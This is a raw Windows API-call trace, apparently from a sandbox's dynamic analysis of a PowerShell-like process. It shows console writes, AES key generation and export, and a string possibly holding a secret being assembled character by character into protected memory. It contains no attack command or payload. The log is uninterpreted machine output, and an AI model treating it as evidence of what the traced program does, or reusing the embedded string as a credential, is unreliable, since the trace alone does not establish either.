GetConsoleOutputCP () returned 0x1b5 [0236.063] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0236.063] GetConsoleOutputCP () returned 0x1b5 [0236.063] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0236.063] GetConsoleOutputCP () returned 0x1b5 [0236.064] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0236.064] GetConsoleOutputCP () returned 0x1b5 [0236.064] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0236.064] GetConsoleOutputCP () returned 0x1b5 [0236.064] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0236.064] GetConsoleOutputCP () returned 0x1b5 [0236.064] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0236.064] GetConsoleOutputCP () returned 0x1b5 [0236.064] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0236.065] GetConsoleOutputCP () returned 0x1b5 [0236.065] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0236.065] GetConsoleOutputCP () returned 0x1b5 [0236.065] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0236.065] GetConsoleOutputCP () returned 0x1b5 [0236.065] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0236.065] GetConsoleOutputCP () returned 0x1b5 [0236.065] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0236.065] GetConsoleOutputCP () returned 0x1b5 [0236.066] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0236.066] GetConsoleOutputCP () returned 0x1b5 [0236.066] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0236.066] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0236.066] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0236.067] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x244cb44*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x244cb44*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0236.067] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0236.067] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0236.068] GetConsoleOutputCP () returned 0x1b5 [0236.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0236.068] GetConsoleOutputCP () returned 0x1b5 [0236.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0236.068] GetConsoleOutputCP () returned 0x1b5 [0236.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0236.069] GetConsoleOutputCP () returned 0x1b5 [0236.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0236.069] GetConsoleOutputCP () returned 0x1b5 [0236.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0236.069] GetConsoleOutputCP () returned 0x1b5 [0236.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0236.069] GetConsoleOutputCP () returned 0x1b5 [0236.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0236.070] GetConsoleOutputCP () returned 0x1b5 [0236.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0236.070] GetConsoleOutputCP () returned 0x1b5 [0236.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0236.070] GetConsoleOutputCP () returned 0x1b5 [0236.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0236.070] GetConsoleOutputCP () returned 0x1b5 [0236.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0236.071] GetConsoleOutputCP () returned 0x1b5 [0236.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0236.071] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0236.071] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0236.071] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x244cfec*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x244cfec*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0236.072] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0236.072] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0236.073] GetConsoleOutputCP () returned 0x1b5 [0236.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.073] GetConsoleOutputCP () returned 0x1b5 [0236.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.074] GetConsoleOutputCP () returned 0x1b5 [0236.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.074] GetConsoleOutputCP () returned 0x1b5 [0236.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.074] GetConsoleOutputCP () returned 0x1b5 [0236.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.074] GetConsoleOutputCP () returned 0x1b5 [0236.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.075] GetConsoleOutputCP () returned 0x1b5 [0236.075] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.075] GetConsoleOutputCP () returned 0x1b5 [0236.075] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.075] GetConsoleOutputCP () returned 0x1b5 [0236.075] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.075] GetConsoleOutputCP () returned 0x1b5 [0236.075] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.075] GetConsoleOutputCP () returned 0x1b5 [0236.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.076] GetConsoleOutputCP () returned 0x1b5 [0236.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.076] GetConsoleOutputCP () returned 0x1b5 [0236.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.076] GetConsoleOutputCP () returned 0x1b5 [0236.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.076] GetConsoleOutputCP () returned 0x1b5 [0236.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.077] GetConsoleOutputCP () returned 0x1b5 [0236.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.077] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0236.077] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0236.078] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x244d9e8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x244d9e8*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0236.078] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0236.078] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0236.079] EtwEventActivityIdControl () returned 0x0 [0236.079] EtwEventActivityIdControl () returned 0x0 [0236.079] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.080] EtwEventActivityIdControl () returned 0x0 [0236.080] EtwEventActivityIdControl () returned 0x0 [0236.080] EtwEventActivityIdControl () returned 0x0 [0236.081] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.082] EtwEventActivityIdControl () returned 0x0 [0236.082] EtwEventActivityIdControl () returned 0x0 [0236.082] EtwEventActivityIdControl () returned 0x0 [0236.084] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0236.085] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69500) returned 1 [0236.085] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.085] CryptExportKey (in: hKey=0x5c69500, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0236.085] CryptExportKey (in: hKey=0x5c69500, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24553c0, pdwDataLen=0x5a2e8c4 | out: pbData=0x24553c0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0236.086] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.086] EtwEventActivityIdControl () returned 0x0 [0236.086] EtwEventActivityIdControl () returned 0x0 [0236.086] EtwEventActivityIdControl () returned 0x0 [0236.087] SysStringLen (param_1="") returned 0x8 [0236.087] SysStringLen (param_1="T") returned 0x8 [0236.087] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.087] SysStringLen (param_1="伺軝回Ἷޙ꘎␰생") returned 0x8 [0236.087] SysStringLen (param_1="伺軝回Ἷޙ꘎␰생") returned 0x8 [0236.087] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.087] SysStringLen (param_1="T/") returned 0x8 [0236.088] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.088] SysStringLen (param_1="℁䩉䴔ᅞ瀤쓽癣") returned 0x8 [0236.088] SysStringLen (param_1="℁䩉䴔ᅞ瀤쓽癣") returned 0x8 [0236.088] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.088] SysStringLen (param_1="T/D") returned 0x8 [0236.088] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.088] SysStringLen (param_1="ꀰ絗ﻰ貏凇弸셇醹") returned 0x8 [0236.088] SysStringLen (param_1="ꀰ絗ﻰ貏凇弸셇醹") returned 0x8 [0236.088] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.088] SysStringLen (param_1="T/DU") returned 0x8 [0236.088] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.088] SysStringLen (param_1="껵웍琳鞓㷻ﯡ఺亸") returned 0x8 [0236.088] SysStringLen (param_1="껵웍琳鞓㷻ﯡ఺亸") returned 0x8 [0236.088] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.089] SysStringLen (param_1="T/DUG") returned 0x8 [0236.089] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.089] SysStringLen (param_1="ꘃ쓿䉑⢿勇垬ꄋ") returned 0x8 [0236.089] SysStringLen (param_1="ꘃ쓿䉑⢿勇垬ꄋ") returned 0x8 [0236.089] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.089] SysStringLen (param_1="T/DUGt") returned 0x8 [0236.089] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.089] SysStringLen (param_1="㼮ﱊ鸊˴垊奣ӕ") returned 0x8 [0236.089] SysStringLen (param_1="㼮ﱊ鸊˴垊奣ӕ") returned 0x8 [0236.089] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.089] SysStringLen (param_1="T/DUGtx") returned 0x8 [0236.089] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.090] SysStringLen (param_1="ಞ⬫峮뜵ㄉ銓㍴") returned 0x8 [0236.090] SysStringLen (param_1="ಞ⬫峮뜵ㄉ銓㍴") returned 0x8 [0236.090] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.090] SysStringLen (param_1="T/DUGtxY") returned 0x8 [0236.090] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.090] SysStringLen (param_1="።륏⥵౷溃ꃴ↔") returned 0x8 [0236.091] SysStringLen (param_1="።륏⥵౷溃ꃴ↔") returned 0x8 [0236.091] SysStringLen (param_1="።륏⥵౷溃ꃴ↔") returned 0x8 [0236.091] SysStringLen (param_1="።륏⥵౷溃ꃴ↔") returned 0x10 [0236.091] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.091] SysStringLen (param_1="T/DUGtxYE臚帜뚹ᚋ勧ⴉ") returned 0x10 [0236.091] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.092] SysStringLen (param_1="።륏⥵౷溃ꃴ↔ꞇ嚾︇ཨ홰沃눮믌") returned 0x10 [0236.092] SysStringLen (param_1="።륏⥵౷溃ꃴ↔ꞇ嚾︇ཨ홰沃눮믌") returned 0x10 [0236.092] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.092] SysStringLen (param_1="T/DUGtxYEI帜뚹ᚋ勧ⴉ") returned 0x10 [0236.092] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.092] SysStringLen (param_1="።륏⥵౷溃ꃴ↔˻ͽ묞㤿䭔敒笊") returned 0x10 [0236.092] SysStringLen (param_1="።륏⥵౷溃ꃴ↔˻ͽ묞㤿䭔敒笊") returned 0x10 [0236.092] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.092] SysStringLen (param_1="T/DUGtxYEI4뚹ᚋ勧ⴉ") returned 0x10 [0236.092] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.092] SysStringLen (param_1="።륏⥵౷溃ꃴ↔摘ඁ麱ᙱꭞԐ쭊") returned 0x10 [0236.092] SysStringLen (param_1="።륏⥵౷溃ꃴ↔摘ඁ麱ᙱꭞԐ쭊") returned 0x10 [0236.092] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.093] SysStringLen (param_1="T/DUGtxYEI43ᚋ勧ⴉ") returned 0x10 [0236.093] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.093] SysStringLen (param_1="።륏⥵౷溃ꃴ↔챹Ꮇ䍂순᮷糭ℴ") returned 0x10 [0236.093] SysStringLen (param_1="።륏⥵౷溃ꃴ↔챹Ꮇ䍂순᮷糭ℴ") returned 0x10 [0236.093] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.093] SysStringLen (param_1="T/DUGtxYEI43Yᚋ勧ⴉ") returned 0x10 [0236.093] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.093] SysStringLen (param_1="።륏⥵౷溃ꃴ↔얀斳岯㱞ｬᷓ貒") returned 0x10 [0236.093] SysStringLen (param_1="።륏⥵౷溃ꃴ↔얀斳岯㱞ｬᷓ貒") returned 0x10 [0236.093] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.093] SysStringLen (param_1="T/DUGtxYEI43Yq勧ⴉ") returned 0x10 [0236.093] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.093] SysStringLen (param_1="።륏⥵౷溃ꃴ↔뜪ꔊ䶕ꥤ癃䥨望") returned 0x10 [0236.093] SysStringLen (param_1="።륏⥵౷溃ꃴ↔뜪ꔊ䶕ꥤ癃䥨望") returned 0x10 [0236.094] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.094] SysStringLen (param_1="T/DUGtxYEI43Yqlⴉ") returned 0x10 [0236.094] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.094] SysStringLen (param_1="።륏⥵౷溃ꃴ↔㭚ᑞ｛莅ൂ腉") returned 0x10 [0236.094] SysStringLen (param_1="።륏⥵౷溃ꃴ↔㭚ᑞ｛莅ൂ腉") returned 0x10 [0236.094] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.094] SysStringLen (param_1="T/DUGtxYEI43Yql5") returned 0x10 [0236.094] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.094] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ") returned 0x10 [0236.094] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ") returned 0x10 [0236.094] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ") returned 0x10 [0236.095] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ") returned 0x18 [0236.095] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.095] SysStringLen (param_1="T/DUGtxYEI43Yql5e뒾睠ᤙ⣯⥧ﱙ") returned 0x18 [0236.095] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.095] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ忂ᜧ汐⎓\闘ꬬ∧) returned 0x18 [0236.095] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ忂ᜧ汐⎓\闘ꬬ∧) returned 0x18 [0236.095] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.095] SysStringLen (param_1="T/DUGtxYEI43Yql5e8睠ᤙ⣯⥧ﱙ") returned 0x18 [0236.095] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.096] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ敢乱í␬삖喝债") returned 0x18 [0236.096] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ敢乱í␬삖喝债") returned 0x18 [0236.096] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.096] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fᤙ⣯⥧ﱙ") returned 0x18 [0236.096] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.096] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ᠗锹뫐삆觅覟㱮") returned 0x18 [0236.096] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ᠗锹뫐삆觅覟㱮") returned 0x18 [0236.096] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.096] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb⣯⥧ﱙ") returned 0x18 [0236.096] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.096] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢൊ펿\珜蔰晆⢌蟹⋗) returned 0x18 [0236.096] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢൊ펿\珜蔰晆⢌蟹⋗) returned 0x18 [0236.096] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.097] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6⥧ﱙ") returned 0x18 [0236.097] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.097] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ葂噇冘凈緂氖識렍") returned 0x18 [0236.097] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ葂噇冘凈緂氖識렍") returned 0x18 [0236.097] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.097] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jﱙ") returned 0x18 [0236.097] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.097] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢﺪ怎筯ꀶ軣ሆ⤚") returned 0x18 [0236.097] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢﺪ怎筯ꀶ軣ሆ⤚") returned 0x18 [0236.097] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.097] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnﱙ") returned 0x18 [0236.097] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.097] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ﷌঳暼핥沰↪혵载") returned 0x18 [0236.098] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ﷌঳暼핥沰↪혵载") returned 0x18 [0236.098] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.098] SysStringLen (param_1="T/DUGtxYEI43Yql5e8Fb6Jnh") returned 0x18 [0236.098] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.098] SysStringLen 